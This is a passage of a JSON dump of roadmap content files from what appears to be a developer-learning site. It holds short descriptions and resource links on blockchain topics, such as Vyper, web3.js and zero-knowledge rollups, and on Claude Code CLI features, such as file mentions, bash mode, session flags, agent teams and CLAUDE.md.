    "content": "# Vyper\n\nVyper is a contract-oriented, Pythonic programming language that targets the Ethereum Virtual Machine (EVM). It's designed with security as a primary focus, aiming to make it harder to write insecure smart contracts. Vyper achieves this through features like limited mutability, no modifiers, and mandatory bounds checking.\n\nVisit the following resources to learn more:\n\n- [@course@Introduction to Python and Vyper](https://updraft.cyfrin.io/courses/intro-python-vyper-smart-contract-development)\n- [@course@Intermediate Python and Vyper](https://updraft.cyfrin.io/courses/intermediate-python-vyper-smart-contract-development)\n- [@course@Advanced Python and Vyper Smart Contract Development](https://updraft.cyfrin.io/courses/advanced-python-vyper-smart-contract-development)\n- [@official@Vyper Programming Language](https://vyper.readthedocs.io/en/stable/)\n- [@article@Vyper.fun | Learn Vyper by building games](https://learn.vyperlang.org/#/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/web3js@jwuMeo9TwaQviGIMO13Jf.md",
    "content": "# web3.js\n\nweb3.js is a collection of JavaScript libraries that allows you to interact with a local or remote Ethereum node using HTTP, WebSocket, or IPC. It provides a set of functions to interact with smart contracts on the Ethereum blockchain, send transactions, read blockchain data, and manage Ethereum accounts. Essentially, it acts as a bridge between your JavaScript application and the Ethereum network.\n\nVisit the following resources to learn more:\n\n- [@official@Web3.js Documentation](https://web3js.readthedocs.io/)\n- [@feed@Explore top posts about Web3](https://app.daily.dev/tags/web3?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/what-is-blockchain@edO8iEehsZtYavlsEKhOy.md",
    "content": "# What is Blockchain\n\nA blockchain is essentially a digital ledger of transactions that is duplicated and distributed across a network of computers. Each transaction, or group of transactions, is recorded in a \"block,\" and these blocks are linked together in a chronological chain. This structure makes the blockchain resistant to modification, as altering any block would require changing all subsequent blocks and gaining consensus across the network.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Blockchain Basics](https://updraft.cyfrin.io/courses/blockchain-basics)\n- [@article@Blockchain Explained](https://www.investopedia.com/terms/b/blockchain.asp)\n- [@article@What is Decentralization?](https://aws.amazon.com/blockchain/decentralization-in-blockchain/)\n- [@video@How does a Blockchain Work?](https://youtu.be/SSo_EIwHSd4)\n- [@video@What Is a Blockchain? | Blockchain Basics for Developers](https://youtu.be/4ff9esY_4aU)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/why-it-matters@Nc9AH6L7EqeQxh0m6Hddz.md",
    "content": "# Why Blockchain Matters\n\nBlockchain technology provides a secure and transparent way to record and share information across a network. It works by grouping data into blocks, which are then cryptographically linked together in a chain. This structure makes it extremely difficult to alter or tamper with the data, as any change would require altering all subsequent blocks. This inherent security and immutability are key to its significance.\n\nVisit the following resources to learn more:\n\n- [@article@Benefits of blockchain](https://www.ibm.com/think/topics/benefits-of-blockchain)\n- [@article@Why is Blockchain Important and Why Does it Matters](https://www.simplilearn.com/tutorials/blockchain-tutorial/why-is-blockchain-important)\n- [@video@Why Blockchain should matter to you | Enrique Alvarado | TEDxEcublens](https://www.youtube.com/watch?v=P1U4B8NeoMw)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/why-it-matters@ecT4W5z8Vq9pXjnuhMdpl.md",
    "content": "# Why Blockchain Matters\n\nUnderstanding the significance of blockchain technology involves recognizing its core capabilities. Blockchain provides a decentralized and immutable ledger for recording transactions. This means data is distributed across multiple computers, making it resistant to tampering and single points of failure. The transparency and security features inherent in blockchain foster trust and efficiency in various applications.\n\nVisit the following resources to learn more:\n\n- [@article@Why Blockchain?](https://chain.link/education-hub/blockchain)\n- [@article@Web3/Crypto: Why Bother?](https://continuations.com/post/671863718643105792/web3crypto-why-bother)\n- [@article@Why is Blockchain Important and Why Does it Matter](https://www.simplilearn.com/tutorials/blockchain-tutorial/why-is-blockchain-important)\n- [@video@Cyfrin Updraft | The Purpose of Smart Contracts](https://updraft.cyfrin.io/courses/blockchain-basics/what-is-a-blockchain/the-purpose-of-smart-contracts)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/zk-rollups--zero-knowledge-proof@PykoX4j5Q3eJWIpUoczjM.md",
    "content": "# Zk Rollups & Zero Knowledge Proof\n\nZero-knowledge proofs (ZKPs) are a cryptographic method where one party (the prover) can prove to another party (the verifier) that a statement is true, without revealing any information beyond the validity of the statement itself. ZK-rollups leverage this technology to bundle multiple transactions into a single batch, which is then verified using a ZKP on the main blockchain. This significantly reduces transaction costs and increases throughput, as the main chain only needs to verify the proof, rather than each transaction.\n\nVisit the following resources to learn more:\n\n- [@course@Fundamentals of Zero Knowledge Proofs - Cyfrin Updraft](https://updraft.cyfrin.io/courses/fundamentals-of-zero-knowledge-proofs)\n- [@course@Noir Programming And ZK Circuits](https://updraft.cyfrin.io/courses/noir-programming-and-zk-circuits)\n- [@article@Zero-Knowledge Rollups - Ethereum](https://ethereum.org/en/developers/docs/scaling/zk-rollups)\n- [@article@What are Zero-Knowledge proofs? - Ethereum](https://ethereum.org/en/zero-knowledge-proofs/)\n- [@article@Why and How zk-SNARK Works](https://medium.com/@imolfar/why-and-how-zk-snark-works-1-introduction-the-medium-of-a-proof-d946e931160)\n- [@article@Introduction to zk-SNARKs](https://vitalik.eth.limo/general/2021/01/26/snarks.html)\n- [@article@What Are zk-SNARKs and zkSTARKs: Full Comparison](https://www.cyfrin.io/blog/a-full-comparison-what-are-zk-snarks-and-zk-starks)"
  },
  {
    "path": "src/data/roadmaps/blockchain/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/blockchain/migration-mapping.json",
    "content": "{\n  \"blockchain-basics\": \"MvpHHpbS-EksUfuOKILOq\",\n  \"blockchain-basics:what-is-blockchain\": \"edO8iEehsZtYavlsEKhOy\",\n  \"blockchain-basics:decentralization\": \"H9jvIlxX6P-C_cgPfZop4\",\n  \"blockchain-basics:why-blockchain-matters\": \"ecT4W5z8Vq9pXjnuhMdpl\",\n  \"blockchain-basics:blockchain-structure\": \"Atv-4Q7edtvfySs_XhgEq\",\n  \"blockchain-basics:basic-blockchain-operations\": \"9z0Fqn1qqN8eo6s7_kwcb\",\n  \"blockchain-basics:applications-and-uses\": \"WD2JH4X4tEE4J0W0XFQ_4\",\n  \"blockchain-general-knowledge:cryptography\": \"e_I-4Q6_qIW09Hcn-pgKm\",\n  \"blockchain-general-knowledge:consensus-protocols\": \"_BkpK9qgp9up8nXNH7q4m\",\n  \"blockchain-general-knowledge:blockchain-interoperability\": \"nNPa6jKRUaitmHwBip_LE\",\n  \"blockchain-general-knowledge:storage\": \"yS_juTsySLqn0ryUJ_SfT\",\n  \"blockchain-general-knowledge\": \"bA4V_9AbV3uQi3qrtLWk0\",\n  \"blockchain-general-knowledge:mining-and-incentive-models\": \"B7niNXMOTbHn_1ixKQ8ri\",\n  \"blockchain-general-knowledge:decentralization-vs-trust\": \"E9HR_voxQ2a2tvWUuva_p\",\n  \"blockchain-general-knowledge:blockchain-forking\": \"L08v-78UsEhcg-mZtMVuk\",\n  \"blockchain-general-knowledge:cryptocurrencies\": \"s1QqQc0We5yQaNF3Ogt4k\",\n  \"blockchain-general-knowledge:cryptowallets\": \"FSThY0R1OAZCIL98W3AMj\",\n  \"blockchain-general-knowledge:blockchains\": \"EQgb4LqXnyq3gOX7Fb85s\",\n  \"blockchain-general-knowledge:blockchains:solana\": \"JYHK95Xr0R1MVCda1Epl6\",\n  \"blockchain-general-knowledge:blockchains:ton\": \"ug4FB4RXItHU0ADnisvve\",\n  \"blockchain-general-knowledge:blockchains:evm-based\": \"tSJyp46rkJcOtDqVpJX1s\",\n  \"blockchain-general-knowledge:blockchains:l2-blockchains\": \"i_Dw3kUZ7qKPG-tk-sFPf\",\n  \"blockchain-general-knowledge:blockchains:l2-blockchains:arbitrum\": \"ixTIn2Uhs-i5-UPt9jKAa\",\n  \"blockchain-general-knowledge:blockchains:l2-blockchains:moonbeam-moonriver\": \"Ib9STGxQa8yeoB-GFeGDE\",\n  \"blockchain-general-knowledge:blockchains:evm-based:ethereum\": \"JLXIbP-y8C2YktIk3R12m\",\n  \"blockchain-general-knowledge:blockchains:evm-based:polygon\": \"JNilHFQnnVDOz-Gz6eNo5\",\n  \"blockchain-general-knowledge:blockchains:evm-based:binance-smart-chain\": \"sJj-6wG5KjjzYYia_eo63\",\n  \"blockchain-general-knowledge:blockchains:evm-based:gnosis-chain\": \"UQ9AejYV6_Sk6ZJkXYWf7\",\n  \"blockchain-general-knowledge:blockchains:evm-based:huobi-eco-chain\": \"PkRAYBZQAUAHxWEeCCX4U\",\n  \"blockchain-general-knowledge:blockchains:evm-based:avalanche\": \"txQ9U1wcnZkQVh6B49krk\",\n  \"blockchain-general-knowledge:blockchains:evm-based:fantom\": \"trcGwYcFW5LQUUrAcbUf_\",\n  \"blockchain-general-knowledge:blockchains:evm-based:moonbeam-moonriver\": \"VVbvueVMJKLUoJYhbJB1z\",\n  \"blockchain-oracles\": \"sK8G-41D3EfYNSLFJ3XYf\",\n  \"blockchain-oracles:hybrid-smart-contracts\": \"JbgBwG6KmeTdyle9U6WAv\",\n  \"blockchain-oracles:chainlink\": \"omQOhNfMO09pBc7oy76Wo\",\n  \"blockchain-oracles:oracle-networks\": \"CzfsAQIk3zIsDaDAorG9K\",\n  \"smart-contracts\": \"BV6lEwCAKaYxSPWD0LV_d\",\n  \"smart-contracts:programming-languages:solidity\": \"chaIKoE1uE8rpZLkDSfV-\",\n  \"smart-contracts:programming-languages:vyper\": \"jgHa_LeCac0pl6dSADizF\",\n  \"smart-contracts:programming-languages:rust\": \"Larbhjzi-MnPQKH1Pzn2R\",\n  \"smart-contracts:testing:unit-tests\": \"IXs4nUzy_A5vBjI_44kaT\",\n  \"smart-contracts:testing:integration-tests\": \"QNfnbUGkT3N-pj5epnHcM\",\n  \"smart-contracts:testing:code-coverage\": \"4V-dj9x9hSAAGCxpBWsbE\",\n  \"smart-contracts:deployment\": \"7goaYnedUlfgfl5qApoO2\",\n  \"smart-contracts:monitoring\": \"H3jNM_0sJrB7ZbYzrVhF7\",\n  \"smart-contracts:upgrades\": \"OotJnHgm622NQJc2WRI7c\",\n  \"smart-contract-frameworks\": \"KRtEN0845lV5e85SOi6oZ\",\n  \"smart-contract-frameworks:hardhat\": \"l110d4NqTQt9lfEoxqXMX\",\n  \"smart-contract-frameworks:brownie\": \"Q64AbQlvYPiqJl8BtoJj9\",\n  \"smart-contract-frameworks:truffle\": \"Vl9XHtc22HnqaCnF9yJv9\",\n  \"smart-contract-frameworks:foundry\": \"F1EUAxODBJ3GEoh7cqM-K\",\n  \"smart-contracts:ides\": \"lXukWXEatsF87EWFSYyOO\",\n  \"smart-contracts:erc-tokens\": \"bjUuL7WALETzgFxL6-ivU\",\n  \"smart-contracts:crypto-wallets\": \"SM8Wt3iNM_nncLj69KCuy\",\n  \"smart-contracts:crypto-faucets\": \"S68IUKs0k_FFHEH97xxs7\",\n  \"smart-contracts:decentralized-storage\": \"tvk1Wh04BcFbAAwYWMx27\",\n  \"blockchain-security\": \"snQA5_4H2dDkT1pENgaYD\",\n  \"blockchain-security:practices\": \"UOF7Ep97i1l3Own6YEWlq\",\n  \"blockchain-security:practices:fuzz-testing-and-static-analysis\": \"wypJdjTW4jHm9FCqv7Lhb\",\n  \"blockchain-security:practices:common-threat-vectors\": \"GxD-KybtmkwT3wqDzIfHp\",\n  \"blockchain-security:practices:source-of-randomness-attacks\": \"f60P5RNNdgCbrhDDzkY25\",\n  \"blockchain-security:tools\": \"n3pipnNb76aaQeUwrDLk_\",\n  \"blockchain-security:tools:slither\": \"YA3-7EZBRW-T-8HuVI7lk\",\n  \"blockchain-security:tools:manticore\": \"twR3UdzUNSztjpwbAUT4F\",\n  \"blockchain-security:tools:mythx\": \"XIgczUc3yKo6kw-_3gskC\",\n  \"blockchain-security:tools:echidna\": \"U4H62lVac8wIgxNJ3N3ga\",\n  \"management-platforms\": \"fbESHQGYqxKRi-5DW8TY3\",\n  \"management-platforms:open-zeppelin\": \"qox-x_q-Q7aWcNFWD7RkT\",\n  \"dapps:frontend-frameworks\": \"YR-U2njkUrEMO0JxCU1PH\",\n  \"version-control-systems\": \"Fs9rcEh_f9fJ2tF-bkAUE\",\n  \"version-control-systems:git\": \"gpS5CckcQZX3TMFQ2jtIL\",\n  \"repo-hosting-services\": \"oSK3MRQD_4j1gGDORN7RO\",\n  \"repo-hosting-services:github\": \"GOgeaQoRvqg-7mAfL_A8t\",\n  \"repo-hosting-services:gitlab\": \"CWqwv4asouS-dssAwIdxv\",\n  \"repo-hosting-services:bitbucket\": \"TMPB62h9LGIA0pMmjfUun\",\n  \"dapps\": \"SXXvFtf_7Rx64cHSEWxMS\",\n  \"dapps:client-libraries\": \"vZiDpX9pEB9gfueSKZiQL\",\n  \"dapps:client-nodes\": \"CoYEwHNNmrQ0i0sSQTcB7\",\n  \"dapps:client-libraries:ethers-js\": \"i-ltfXPTCu3WaBo-xaN05\",\n  \"dapps:client-libraries:web3-js\": \"jwuMeo9TwaQviGIMO13Jf\",\n  \"dapps:client-libraries:moralis\": \"RFgetmTvKvpV2PG6Vfev7\",\n  \"dapps:client-nodes:geth\": \"DBRaXtwvdq2UGE8rVCmI1\",\n  \"dapps:client-nodes:besu\": \"Gnnp5qrFmuSVtaq31rvMX\",\n  \"dapps:client-nodes:nethermind\": \"xtYwg0WAcE8Ea9VgC2RSc\",\n  \"dapps:client-nodes:substrate\": \"E4uuJZFZz-M1vlpZmdJTO\",\n  \"dapps:frontend-frameworks:react\": \"0DUYS40_-BTpk2rLQ1a0e\",\n  \"dapps:frontend-frameworks:angular\": \"UY_vAsixTyocvo8zvAF4b\",\n  \"dapps:frontend-frameworks:vue\": \"Ke97bMHGfb-8hB_xSwMbk\",\n  \"dapps:testing\": \"-7Bq2ktD0nt7of9liuCDL\",\n  \"dapps:deployment\": \"cW3_Ki9Bx7fYluDLKKKgl\",\n  \"dapps:maintenance\": \"XvVpnlYhT_yOsvjAvwZpr\",\n  \"dapps:architecture\": \"B6GGTUbzEaIz5yu32WrAq\",\n  \"dapps:security\": \"PBTrg9ivOpw9uNTVisIpx\",\n  \"dapps:supporting-languages\": \"NK02dunI3i6C6z7krENCC\",\n  \"dapps:supporting-languages:javascript\": \"fF06XiQV4CPEJnt_ESOvv\",\n  \"dapps:supporting-languages:python\": \"pVG7bGqVGCeSBlZxRNHJs\",\n  \"dapps:supporting-languages:go\": \"jxlQ1ibcCv6ZlcEvobZ_G\",\n  \"dapps:applicability\": \"aATSuiqPG-yctr3ChEBa_\",\n  \"dapps:applicability:defi\": \"1AhombZUkZN6Ra5fysSpg\",\n  \"dapps:applicability:daos\": \"RsoOgixZlyQU6h7nIaY9J\",\n  \"dapps:applicability:nfts\": \"e4OHLOfa_AqEShpMQe6Dx\",\n  \"dapps:applicability:payments\": \"vTGSDThkDDHvCanNlgP07\",\n  \"dapps:applicability:insurance\": \"uMXcKCUoUN8-Hq_IOBRCp\",\n  \"dapps:node-as-a-service\": \"dDPhMNPpl3rZh3EgXy13P\",\n  \"dapps:node-as-a-service:alchemy\": \"lOoubzXNILBk18jGsc-JX\",\n  \"dapps:node-as-a-service:infura\": \"hJmNuEMHaMSM0QQlABFRS\",\n  \"dapps:node-as-a-service:moralis\": \"pJhR9OQo8YFQmAZXQbikJ\",\n  \"dapps:node-as-a-service:quicknode\": \"FGih8w9We52PHpBnnGO6H\",\n  \"building-for-scale\": \"bTdRKEiIUmu1pnp8UbJK9\",\n  \"building-for-scale:state-and-payment-channels\": \"5T5c3SrFfMZLEKAzxJ-_S\",\n  \"building-for-scale:optimistic-rollups-and-fraud-proofs\": \"ti6-LSK52dTCLVdxArp9q\",\n  \"building-for-scale:zero-knowledge-rollups-and-zero-knowledge-proof\": \"PykoX4j5Q3eJWIpUoczjM\",\n  \"building-for-scale:validium\": \"chmxDwNVOefp98IbjEgNl\",\n  \"building-for-scale:plasma\": \"dMesiPUPBegYQ7hgeMMJK\",\n  \"building-for-scale:sidechains\": \"lSQA3CfQBugEBhAh2yxro\",\n  \"building-for-scale:ethereum-2\": \"9uz6LBQwYpOid61LrK5dl\",\n  \"building-for-scale:on-chain-scaling\": \"1bUD9-vFo-tsHiB1a06tO\"\n}"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/@La3uarrUxC5oTszf4oaWr.md",
    "content": "# File Path Mentions (@)\n\nFile path mentions, triggered by typing the `@` symbol followed by a filename or folder, allow you to manually point the AI toward specific parts of your codebase. This creates a direct reference that prioritizes those files in the current conversation, ensuring the assistant analyzes the exact code you are interested in without having to search your entire project first. It supports autocomplete, so as you type after the @ symbol, a list of matching files appears, allowing you to quickly select the correct path and add it to the conversation context.\n\nVisit the following resources to learn more:\n\n- [@official@Quick commands](https://code.claude.com/docs/en/interactive-mode#built-in-commands)\n- [@official@CLAUDE.md imports](https://code.claude.com/docs/en/memory#claude-md-imports)\n- [@article@Referencing Files and Resources in Claude Code | Developing with AI Tools | Steve Kinney](https://stevekinney.com/courses/ai-development/referencing-files-in-claude-code)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/@N6z45nuFeUqRB2f-8b_Ku.md",
    "content": "# Multiline input ()\n\nMultiline input allows you to format complex instructions across several lines without immediately sending the prompt to the AI. The fastest way to create multiline input is by typing `\\` followed by `Enter`. This works in all terminals by default and tells the system to treat the next line as a continuation of the current one. However, depending on your terminal and configuration, alternative methods may be available.\n\nVisit the following resources to learn more:\n\n- [@official@Multiline input](https://code.claude.com/docs/en/interactive-mode#multiline-input)\n- [@official@Line breaks](http://code.claude.com/docs/en/terminal-config#line-breaks)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/@PYjuzInrTOWebl-OyYfMa.md",
    "content": "# Bash Mode (!)\n\nBash Mode (triggered by prefixing your input with an exclamation mark !) is a powerful feature that allows you to execute shell commands directly on your machine without involving the Claude Code's reasoning or consuming any tokens. While the AI assistant normally uses the \"Bash tool\" to run commands on your behalf (which costs money and takes time for the model to \"think\"), Bash Mode is your direct line to the terminal.\n\nVisit the following resources to learn more:\n\n- [@official@Bash mode with ! prefix](https://code.claude.com/docs/en/interactive-mode#bash-mode-with-prefix)\n- [@article@Claude Code and Bash Scripts | Developing with AI Tools | Steve Kinney](https://stevekinney.com/courses/ai-development/claude-code-and-bash-scripts)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/add-dir@FgQXBQ6oJ5sfW_ar0u6ez.md",
    "content": "# claude --add-dir\n\nThe `claude --add-dir` command is a startup flag that allows you to include extra folders in your working session before the interface even opens. By providing one or more directory paths when you launch the tool (for example, `claude --add-dir ../library --add-dir ./docs`), you grant the assistant permission to read and modify files in those external locations alongside your current project. This is particularly useful for cross-repository tasks, such as updating a shared library and its dependent application simultaneously, as it ensures the AI has a unified view of all relevant codebases from the very first prompt."
  },
  {
    "path": "src/data/roadmaps/claude-code/content/agent-team@fI90DtG5CoZbDyJUqLGoy.md",
    "content": "# Agent Team\n\nAgent Teams are an experimental multi-agent orchestration feature in Claude Code that allows you to coordinate multiple AI instances working in parallel on a single project. Agent Teams function as a collaborative network where a designated Team Lead manages a shared task list and delegates work to Teammates who can message each other directly to share findings or debate solutions.\n\nVisit the following resources to learn more:\n\n- [@official@Orchestrate teams of Claude Code sessions](https://code.claude.com/docs/en/agent-teams)\n- [@official@Building a C compiler with a team of parallel Claudes](https://www.anthropic.com/engineering/building-c-compiler)\n- [@article@I Tried (New) Claude Code Agent Teams (And Discovered New Way to Swarm)](https://medium.com/@joe.njenga/i-tried-new-claude-code-agent-teams-and-discovered-new-way-to-swarm-28a6cd72adb8)\n- [@article@How to Set Up Claude Code Agent Teams (Full Walkthrough + What Actually Changed)](https://www.reddit.com/r/ClaudeCode/comments/1qz8tyy/how_to_set_up_claude_code_agent_teams_full/)\n- [@video@Claude Code's Agent Teams Are Insane - Multiple AI Agents Coding Together in Real Time](https://www.youtube.com/watch?v=-1K_ZWDKpU0)\n- [@video@How to Use Claude Code Agent Teams in 13 Mins (Opus 4.6)](https://www.youtube.com/watch?v=y9IYtWELMHw)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/agents@sx2GRmZbQEYxeb05HpHQH.md",
    "content": "# /agents\n\nThe `/agents` command is a specialized management interface used to create, configure, and orchestrate sub-agents within your Claude Code environment. This command transitions from a single-assistant model to a multi-agent workflow, allowing you to delegate specific types of work—like security auditing, unit testing, or architectural planning—to \"specialists\" that have their own isolated context windows and tailored system prompts.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in commands](https://code.claude.com/docs/en/interactive-mode)\n- [@official@Create custom subagents](https://code.claude.com/docs/en/sub-agents#use-the-agents-command)\n- [@official@Agents flag format](https://code.claude.com/docs/en/cli-reference)\n- [@video@Claude Code NEW Sub Agents in 7 Minutes](https://www.youtube.com/watch?v=DNGxMX7ym44)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/api-usage@N6dDyEXIUJUA3-o1J9K_n.md",
    "content": "# API Usage\n\nClaude Console authentication uses a pay-as-you-go model where the tool connects directly to the Anthropic API using a personal API key rather than a flat-rate monthly subscription. To set this up, you must first create an account at the Claude Console, generate a secret API key, and ensure you have a balance of credits in your account. This mode is ideal for power users or developers who prefer to pay only for the specific amount of data—or tokens—processed during their coding sessions. Because this connection communicates directly with the API, it also allows you to choose specific model versions and provides more granular control over your billing and usage thresholds.\n\nVisit the following resources to learn more:\n\n- [@official@Claude Console](https://platform.claude.com/)\n- [@official@Claude Code Analytics API](https://platform.claude.com/docs/en/build-with-claude/claude-code-analytics-api)\n- [@article@Claude Pricing Explained: Subscription Plans & API Costs](https://intuitionlabs.ai/articles/claude-pricing-plans-api-costs)\n- [@article@Claude, Claude API, and Claude Code: What's the Difference?](https://eval.16x.engineer/blog/claude-vs-claude-api-vs-claude-code)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/be-mindful-of-extensions@__3S2Z00hK_g_GQJxv_21.md",
    "content": "# Be mindful of extensions\n\nCarefully managing extensions, such as MCP servers, skills, and subagents, is vital because every active integration consumes a portion of Claude’s finite context window, and excessive \"context pollution\" can lead to degraded reasoning or higher operational costs.\n\nVisit the following resources to learn more:\n\n- [@article@The Hidden Cost of MCP Servers (And When They're Worth It)](https://mariogiancini.com/the-hidden-cost-of-mcp-servers-and-when-theyre-worth-it)\n- [@article@Claude Skills are awesome, maybe a bigger deal than MCP](https://simonw.substack.com/p/claude-skills-are-awesome-maybe-a)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude---add-dir@FgQXBQ6oJ5sfW_ar0u6ez.md",
    "content": "# claude --add-dir\n\nThe `claude --add-dir` command is a startup flag that allows you to include extra folders in your working session before the interface even opens. By providing one or more directory paths when you launch the tool (for example, `claude --add-dir ../library --add-dir ./docs`), you grant the assistant permission to read and modify files in those external locations alongside your current project. This is particularly useful for cross-repository tasks, such as updating a shared library and its dependent application simultaneously, as it ensures the AI has a unified view of all relevant codebases from the very first prompt.\n\nVisit the following resources to learn more:\n\n- [@official@CLI Flags](https://code.claude.com/docs/en/cli-reference#cli-flags))\n- [@official@Load memory from additional directories](https://code.claude.com/docs/en/memory#load-memory-from-additional-directories)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude--c@XlCA3rx2C7wx_EcTYtr9_.md",
    "content": "# claude -c\n\nThe `claude -c` command (short for --continue) is a CLI flag used to instantly reopen the most recent conversation session in your current directory. Instead of starting a fresh chat with a clean context, this command restores the previous conversation history, allowing you to pick up exactly where you left off without having to re-explain your project’s state or repeat previous instructions.\n\nVisit the following resources to learn more:\n\n- [@official@CLI commands](https://code.claude.com/docs/en/cli-reference#cli-commands)\n- [@official@Resume previous conversations](https://code.claude.com/docs/en/common-workflows#resume-previous-conversations)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude--p@2PKH3Ru9XgCz1MO75pDVr.md",
    "content": "# claude -p\n\nThe `claude -p` command (short for --print) activates Print Mode, which runs Claude Code as a non-interactive, single-use utility rather than a continuous chat session. When you use this flag, you provide a prompt directly in the command line; Claude then executes its agentic loop—researching, editing files, or running commands as needed—and exits immediately once the task is complete. This mode is designed primarily for automation and scripting, allowing you to integrate Claude's reasoning into CI/CD pipelines, shell scripts, or \"one-liners\".\n\nVisit the following resources to learn more:\n\n- [@official@CLI commands](https://code.claude.com/docs/en/cli-reference#cli-commands)\n- [@official@Run Claude Code programmatically](https://code.claude.com/docs/en/headless)\n- [@video@Building headless automation with Claude Code | Code w/ Claude](https://www.youtube.com/watch?v=dRsjO-88nBs)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude--r@zUxO8udwPhYK6J_3wAs2Z.md",
    "content": "# claude -r\n\nThe `claude -r` command (short for --resume) allows you to restart a specific past conversation by providing its unique Session ID. Unlike the `-c` flag, which automatically opens the very last session you had, `-r` gives you the precision to jump back to any session from your history, ensuring you can continue a specific line of work without losing context or previous tool outputs. If you run the command without an ID—simply typing `claude --resume` —it opens an interactive session picker where you can scroll through a list of recent conversations, see their titles, and choose the one you want to reactivate.\n\nVisit the following resources to learn more:\n\n- [@official@CLI commands](https://code.claude.com/docs/en/cli-reference#cli-commands)\n- [@official@Resume or fork sessions](https://code.claude.com/docs/en/how-claude-code-works#resume-or-fork-sessions)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude-cli@3r-vFlVAEirxD1gaFOO4H.md",
    "content": "# Claude CLI\n\nClaude Code CLI is a command-line tool that acts as an agentic AI coding partner by interacting directly with your local files and terminal. To set it up, you first need an active Claude subscription or an Anthropic Console account. Once installed, navigate to your project folder, type `claude` to start a session, and follow the prompts to log in via your browser.\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Claude Code](https://code.claude.com/docs/en/quickstart)\n- [@official@Optimize your terminal setup](https://code.claude.com/docs/en/terminal-config)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude-code-security@KgXvbrUuYyiBn52QCRoLl.md",
    "content": "# Claude Code Security\n\nClaude Code Security is a new feature built into Claude Code that scans your codebase for security vulnerabilities and suggests fixes for your team to review. Every finding goes through a verification process before it reaches you, with severity ratings so you know what to fix first. Nothing gets changed automatically; Claude suggests the fix, but a human always approves it. It is currently available as a limited research preview for Enterprise and Team customers, with free access for open-source maintainers.\n\nVisit the following resources to learn more:\n\n- [@official@Making frontier cybersecurity capabilities available to defenders](https://www.anthropic.com/news/claude-code-security)\n- [@article@Evaluating and mitigating the growing risk of LLM-discovered 0-days](https://red.anthropic.com/2026/zero-days/)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude-query@zSpldCAVxYoRpHDIR2oVa.md",
    "content": "# claude \"query\"\n\nThe `claude \"query\"` command allows you to start the Claude Code interactive REPL (Read-Eval-Print Loop) with an initial instruction already provided. By passing a string as an argument directly after the `claude` command, the assistant will immediately begin processing that request—such as \"explain this project\" or \"fix the lint errors\"—the moment the interface loads. This method is more efficient than opening the tool first and typing your request manually, as it combines the startup and the initial task into a single step while still keeping the session open for further conversation and follow-up actions.\n\nVisit the following resources to learn more:\n\n- [@official@CLI commands](https://code.claude.com/docs/en/cli-reference)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude-workflow@_iAIq8mwW0cIGbvrfmSJ5.md",
    "content": "# Claude Workflow\n\nThe Claude Code workflow operates as a continuous agentic loop where the AI moves through four primary phases: Explore, Plan, Implement, and Verify. It begins by indexing your local codebase and reading persistent instructions from your [CLAUDE.md](http://CLAUDE.md) file to align with your project's specific standards. When you issue a prompt, Claude uses its suite of built-in tools to research the files (Explore), proposes a detailed step-by-step strategy for the change (Plan), and—upon your approval—executes the modifications using file-editing and shell tools (Implement). The cycle concludes by running your defined test suites or linters (Verify) to ensure no regressions were introduced, often utilizing MCP servers to sync the final results with external platforms like GitHub or Jira.\n\nVisit the following resources to learn more:\n\n- [@official@How Claude Code Works](https://code.claude.com/docs/en/how-claude-code-works)\n- [@official@Common workflows](https://code.claude.com/docs/en/common-workflows)\n- [@article@My Best Workflow for Working with Claude Code : r/ClaudeAI](https://www.reddit.com/r/ClaudeAI/comments/1m3pol4/my_best_workflow_for_working_with_claude_code/)\n- [@video@Claude Code Workflows That Will 10x Your Productivity](https://www.youtube.com/watch?v=yZvDo_n12ns)\n- [@video@The greatest Claude Code workflow ever (10x your speed)](https://www.youtube.com/watch?v=WdD6uD_kupY)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claude@lcnfnGocMZIWDQqrmdCWL.md",
    "content": "# claude command\n\nThe `claude` command is the primary entry point used to launch the Claude Code interface from your terminal. When you type this command within a project directory, it initializes the agentic environment, indexes your local files, and establishes a secure connection to the AI model so you can begin issuing natural language instructions. It also supports various flags to customize Claude Code’s behavior.\n\nVisit the following resources to learn more:\n\n- [@official@CLI commands](https://code.claude.com/docs/en/cli-reference#cli-commands)"
  },
  {
    "path": "src/data/roadmaps/claude-code/content/claudemd@T6PklJYVOrmcAgNcCFhKt.md",
    "content": "# CLAUDE.md\n\n`CLAUDE.md` is a configuration file placed in a project's root directory that provides the AI assistant with specific rules, project context, and custom instructions for that particular codebase. It acts as a set of persistent guidelines that the AI reads at the start of every session to ensure its code suggestions align with your project's coding standards, tech stack, and architectural patterns.\n\nVisit the following resources to learn more:\n\n- [@official@Write an effective CLAUDE.md](https://code.claude.com/docs/en/best-practices#write-an-effective-claude-md)\n- [@article@The Complete Guide to CLAUDE.md](https://www.builder.io/blog/claude-md-guide)\n- [@article@Writing a good CLAUDE.md | HumanLayer Blog](https://www.humanlayer.dev/blog/writing-a-good-claude-md)\n- [@video@Claude Code Tutorial #2 - CLAUDE.md Files & /init - YouTube](https://www.youtube.com/watch?v=i_OHQH4-M2Y)"
  },
